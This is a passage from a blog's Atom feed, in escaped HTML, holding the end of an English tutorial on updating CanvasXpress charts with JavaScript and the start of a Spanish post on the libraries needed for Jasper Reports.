transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;Of  course we have differents types of charts. In this case we are using  the type “Line” but we could also choose another like the type “Bar”: &lt;/span&gt;&lt;img alt=&quot;&quot; height=&quot;358&quot; src=&quot;https://lh6.googleusercontent.com/ni2fFW-lZ8_7EtYMLQk0CiMNdaNfZfsD02hCUJyrOUzGD5GgmjDQqyq_HMs_1k02ioF3bVDW5TNX5_LpITApe81tKezhsiB0s3GvNblQjKDRgCk6tfbD&quot; width=&quot;654&quot; /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;Besides creating and updating, we can also add data to the current chart. Check this code:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 255); float: left; line-height: 1; white-space: pre;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;function&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;addMoreDataGraph&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;(&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;variable&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;,&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;)&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;         //get all canvasXpress references.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;          for&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;sc10&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;var&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;=&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc4&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;&amp;lt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;CanvasXpress&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;references&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;++)&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;              //If the reference match our target &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;              if&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;(&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;CanvasXpress&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;references&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;[&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;].&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;==&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc7&quot;&gt;&lt;span style=&quot;color: grey;&quot;&gt;&#39;graph&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;)&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;                  //update the graph &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;                  var&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;=&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;CanvasXpress&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;references&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;[&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;];&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc11&quot;&gt;&lt;span style=&quot;color: navy;&quot;&gt;&lt;i&gt;&lt;b&gt;                  &lt;/b&gt;&lt;/i&gt;&lt;/span&gt;c&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;vars&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;(&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;variable&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;);&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc11&quot;&gt;&lt;span style=&quot;color: navy;&quot;&gt;&lt;i&gt;&lt;b&gt;                  &lt;/b&gt;&lt;/i&gt;&lt;/span&gt;c&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;(&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;);&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc11&quot;&gt;                  c&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;updateData&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;(&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;);&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc11&quot;&gt;                  c&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;draw&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;();&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;                }&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;             }&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;If you press the addData button in the example, you should see something like this:&lt;/span&gt;&lt;img alt=&quot;&quot; height=&quot;344&quot; src=&quot;https://lh5.googleusercontent.com/yIPfXQdux-6neqNbP-L2zQrx-thv8nojsqkL1LnDttdAa0dM1tNXyHYfctsELxX2l5UXV9b1Q1u6cRRpEFjxKlxfTkxq94P8CIdVcvR3eEIWzLq-DT8Z&quot; width=&quot;639&quot; /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;End&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br /&gt;The  canvas element allows endless possibilities, not only with graphics,  but with animations, games and so on. HTML5 is here to stay and nothing  stops us to take fully advantage of its features. &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;There’s a lot to do with this library, you can achieve good results and create really dynamic graphics for all major browsers.&lt;br class=&quot;kix-line-break&quot; /&gt;This library allows to customize almost everything in the chart and it has a lot of built-in action events that &lt;br class=&quot;kix-line-break&quot; /&gt;you could use. &lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;I hope the examples are clear enough. &lt;br class=&quot;kix-line-break&quot; /&gt;If you have any doubt, recommendation or critics, feel free to contact me or post a comment! &lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/195716993312484574/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2012/12/canvasxpress-powerful-graphing-tool.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/195716993312484574'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/195716993312484574'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2012/12/canvasxpress-powerful-graphing-tool.html' title='CanvasXpress - Powerful graphing tool'/><author><name>Matias Javier</name><uri>https://plus.google.com/101255256122446288110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-4DagObdV8-s/AAAAAAAAAAI/AAAAAAAACRA/NwZzFldWN0s/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-8724933238734246868</id><published>2012-11-04T17:30:00.000-03:00</published><updated>2012-11-04T17:41:22.955-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Jasper"/><category scheme="http://www.blogger.com/atom/ns#" term="Java"/><category scheme="http://www.blogger.com/atom/ns#" term="Reports"/><title type='text'>Jasper Reports: Generación de documentos</title><content type='html'>&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b id=&quot;internal-source-marker_0.6320756333880126&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: center;&quot;&gt;&lt;b id=&quot;internal-source-marker_0.6320756333880126&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-weight: bold; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Jasper Reports: Generación de documentos&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;b id=&quot;internal-source-marker_0.6320756333880126&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-weight: bold; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Jasper Reports es una librería acompañada por un conjunto de herramientas que facilitan la generación de documentos mediante código.&lt;br class=&quot;kix-line-break&quot; /&gt;Voy a explicar los conceptos básicos de Jasper y realizar u ejemplo&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;1) Empezando con Jasper: Requerimientos y herramientas.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Se requieren varias librerías para utilizar Jasper. Las dejare en un zip para el que quiera probar pero en reglas generales si lo que se desea es generar un PDF las librerías son estas:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul style=&quot;margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;b id=&quot;internal-source-marker_0.6320756333880126&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;li style=&quot;list-style-type: disc; margin-left: -24px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Jakarta Commons BeanUtils Component (versión 1.8.0 en adelante) &lt;/span&gt;&lt;a href=&quot;about:blank&quot;&gt;&lt;span style=&quot;color: blue; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;http://jakarta.apache.org/commons/beanutils/&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style=&quot;list-style-type: disc; margin-left: -24px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Jakarta Commons Collections Component (versión 2.1.1 en adelante) &lt;/span&gt;&lt;a href=&quot;about:blank&quot;&gt;&lt;span style=&quot;color: blue; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;http://jakarta.apache.org/commons/collections/&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style=&quot;list-style-type: disc; margin-left: -24px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Jakarta Commons Javaflow (Sandbox version) &lt;/span&gt;&lt;a href=&quot;about:blank&quot;&gt;&lt;span style=&quot;color: blue; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;http://jakarta.apache.org/commons/sandbox/javaflow/&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style=&quot;list-style-type: disc; margin-left: -24px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Jakarta Commons Logging Component (versión 1.0.4 en adelante) 